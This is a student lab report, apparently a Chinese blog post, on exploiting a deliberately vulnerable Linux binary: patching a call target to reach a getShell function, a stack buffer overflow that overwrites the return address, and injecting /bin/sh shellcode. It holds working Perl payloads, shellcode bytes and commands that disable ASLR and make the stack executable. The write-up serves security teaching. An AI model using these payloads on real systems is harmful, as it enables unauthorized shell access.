Exp1 PC平臺逆向破解(5)M_20154304張懷珺

来源:https://www.cnblogs.com/zhjlse/archive/2018/03/17/8587655.html
-Advertisement-
Play Games

Exp1 PC平臺逆向破解(5)M_20154304張懷珺 實踐目標 本次實踐的對象是一個名為pwn1的 linux 可執行文件。該程式正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字元串。該程式同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況 ...


Exp1 PC平臺逆向破解(5)M_20154304張懷珺

實踐目標

本次實踐的對象是一個名為pwn1的linux可執行文件。該程式正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字元串。該程式同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。

三個實踐內容如下:

  • 1.手工修改可執行文件,改變程式執行流程,直接跳轉到getShell函數。
  • 2.利用foo函數的Bof漏洞,構造一個攻擊輸入字元串,覆蓋返回地址,觸發getShell函數。
  • 3.註入一個自己製作的shellcode並運行這段shellcode。

這幾種思路,基本代表現實情況中的攻擊目標:

  • 運行原本不可訪問的代碼片段
  • 強行修改程式執行流
  • 以及註入運行任意代碼

基礎知識

  • 熟悉Linux基本操作,能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂彙編、機器指令、EIP、指令地址。
  • NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。
  • JNE:條件轉移指令,如果不相等則跳轉。
  • JE:條件轉移指令,如果相等則跳轉。
  • JMP:無條件轉移指令。
  • CMP:比較指令,功能相當於減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其他相關指令通過識別這些被影響的標誌寄存器位來得知比較結果。
  • 會使用gdb,vi。

1直接修改程式機器指令,改變程式執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進位編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

1.1反彙編pwn1文件

objdump -d 文件名 | more

查看核心代碼

"call 8048491 "是彙編指令,是說這條指令將調用位於地址8048491處的foo函數;其對應機器指令為“e8 d7ffffff”,e8即跳轉之意。

本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行 “EIP + d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值。

main函數調用foo,對應機器指令為“e8 d7ffffff”,
那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能得到補碼,是c3ffffff。
下麵我們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變為c3ffffff。

1.2修改可執行文件,將其中的call指令的目標地址由d7ffffff變為c3ffffff

對pwn1進行備份,將對備份文件20154304操作。

使用vi 20154304在vim編輯器查看可執行文件20154304,在編輯器內按ESC鍵,輸入:%!xxd將顯示模式切換為16進位模式,如下圖:

查找要修改的內容,輸入/e8 d7,如下圖:

在vim的普通模式下,按r鍵修改d7為c3,如下圖:

轉換16進位為原格式,輸入:%!xxd -r

存檔退出vi,輸入:wq

反彙編看一下,call指令是否正確調用getShell

運行下改後的代碼,會得到shell提示符#

2通過構造輸入參數,造成BOF攻擊,改變程式執行流

2.1基本原理

我們的目標是觸發getShell函數,該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞,讀入字元串時系統只預留了__位元組的緩衝區,超出部分會造成溢出,我們的目標是覆蓋返回地址。

2.2確認輸入字元串哪幾個字元會覆蓋到返回地址

使用GDB調試工具調試,確認用什麼值來覆蓋返回地址
gdb 20154304~1進入調試,並輸入一串可讓其溢出的字元:

info r,查看溢出時寄存器狀態如下:

由此可看出是四個5,接下來確定是哪四個5,將後面8位輸12345678

由此看出1234那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字元替換為 getShell 的記憶體地址,輸給20154304~1,20154304~1就會運行getShell。
2.3 確認用什麼值來覆蓋返回地址

getShell的記憶體地址,通過反彙編時可以看到,即0804847d。對比之前 eip 0x34333231 0x34333231,正確應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08

2.4構造輸入字元串

由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進位值,所以先生成包括這樣字元串的一個文件。\x0a表示回車,如果沒有的話,在程式運行時就需要手工按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
Perl是一門解釋型語言,不需要預編譯,可以在命令行上直接使用。 使用輸出重定向“>”將perl生成的字元串存儲到文件input中。

(可以使用16進位查看指令xxd input查看input文件的內容是否如預期。)

然後將input的輸入,通過管道符“|”,作為20154304~1的輸入。

3註入Shellcode並執行

3.1準備一段Shellcode

  • shellcode就是一段機器指令(code)
  • 通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。
  • 在實際的應用中,凡是用來註入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。

以下實踐使用如下的shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
3.2準備工作

設置堆棧可執行:execstack -s 20154304_1
查詢文件的堆棧是否可執行:execstack -q 20154304_1
查看地址是否隨機化:more /proc/sys/kernel/randomize_va_space 0為關閉,2為打開

關閉地址隨機化:echo "0" > /proc/sys/kernel/randomize_va_space

3.3構造要註入的payload

  • Linux下有兩種基本構造攻擊buf的方法:
  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 因為retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊。
  • 本次實驗的這個buf夠放這個shellcode了
  • 結構為:nops+shellcode+retaddr。
    nop一為是了填充,二是作為“著陸區/滑行區”。
    我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。

選擇anything+retaddr+nops+shellcode 結構來構造如下語句:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址。
特別提醒:最後一個字元千萬不能是\x0a。不然下麵的操作就做不了了。

接下來我們來確定\x4\x3\x2\x1到底該填什麼。

註入這段攻擊buf:

(cat input_shellcode;cat) | ./20154304_1

註意此處只需要敲一個回車,此時不會出現上圖中的字元

再開另外一個終端,用gdb來調試20154304_1這個進程。

1.找到pwn1的進程號是:4809

ps -ef | grep 20154304_1

2.啟動gdb調試這個進程

attach 4809

3. 通過設置斷點,來查看註入buf的記憶體地址

disassemble foo

break *0x080484ae

註意設置完斷點後,要先在另外一個終端中按下回車,這就是前面為什麼不能以\x0a來結束 input_shellcode的原因。
再輸入c繼續運行程式。

通過info r esp查看esp寄存器的地址

看到 01020304了,就是返回地址的位置。shellcode就挨著,所以地址是 0xffffd2bc+0x00000004=0xffffd2c0
修改之前的註入語句再次運行
perl -e'print"A"x32;print"\xc0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

運行成功!

實踐收穫

漏洞是系統在設計時的不足,是黑客攻擊電腦所利用的通道,是受限制的電腦、組件、應用程式或其他聯機資源的無意中留下的不受保護的入口點。本次實踐我也學到了利用可執行文件中的漏洞,用三種方法改變程式的流程,使之跳轉到getshell函數。在從最初的裝虛擬機開始到現在經過了三周的時間,讓我學到了很多東西,對linux操作系統有了一定的瞭解,也第一次用markdown寫博客,相信在今後的實踐中還會有更多的比本次實踐要更複雜的知識要去學習,我也會繼續努力學習的,感謝老師的指導。

---恢復內容結束---


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 歸檔(tar) 將許多文件一起保存至一個單獨的磁帶或磁碟歸檔,並能從歸檔中單獨還原所需文件。歸檔不是壓縮!!!所謂歸檔,就是將一些文件歸到一起,並沒有對其進行壓縮的操作。 -c:創建歸檔文件 .tar -f:表示使用歸檔文件 -j:調用bzip2程式進行壓縮或解壓 用來壓縮的選項 -z:調用gzip ...
  • 前面小Alan給大家說了jdk的安裝,這篇跟大家聊聊redis非關係型資料庫在Linux伺服器的安裝。 redis簡單介紹 REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。 Redis是一個開源的使用AN ...
  • 原文鏈接:http://blog.csdn.net/qq_38646470/article/details/79564392 符號表示 和管道特別形象。 作用: & 160;& 160;& 160;& 160;管道是Linux中很重要的一種通信方式,是把一個程式的輸出直接連接到另一個程式的輸入,常說 ...
  • 1.將iso鏡像文件上傳到linux系統。註意要將文件放在合適的目錄下,因為後面機器重啟時還要自動掛載,所以此次掛載成功之後該文件也不要刪除。 2.將iso光碟掛載到/mnt/iso目錄下。 (1)先創建掛載的目標目錄/mnt/iso (2)接著使用mount -o loop /data/iso/r ...
  • 早上群上討論了一下systemd的作用,還導致了一個人的直接退群,出於求知心理,搜索了一些systemd,對此也作出了一些相應的整理; 一、systemd的誕生: 學習嵌入式bootloader與kernel銜接的時候,就入門了init進程;init進程也就是系統的第一個進程,PID號為1; ini ...
  • 在同一ip下添加多個功能變數名稱站點! 1.查看ip 命令:ifconfig 2.添加功能變數名稱 命令:vi /etc/hosts 輸入功能變數名稱:如 192.168.160.127 www.test.com 192.168.160.127 www.test2.com 3.創建要配置站點的文件夾及文件 .var/www ...
  • 本文目錄:1.簡介2.安裝heartbeat 2.1 編譯安裝Heartbeat3.heartbeat相關配置文件 3.1 配置文件ha.cf 3.2 配置文件authkeys 3.3 配置文件haresources4.示例:heartbeat為httpd提供高可用服務 1.簡介 heartbeat ...
  • 第一篇 基礎篇 第1章 Linux概述 1.1 Linux的起源 1991年芬蘭學生Linus Torvalds寫的磁碟驅動和文件系統開源發佈,Linux即“Linus的Minix”。 1994年內核1.0版發佈,最新內核版本4.14.11。 1.2 追溯到Unix 1969年AT&T貝爾實驗室的一 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...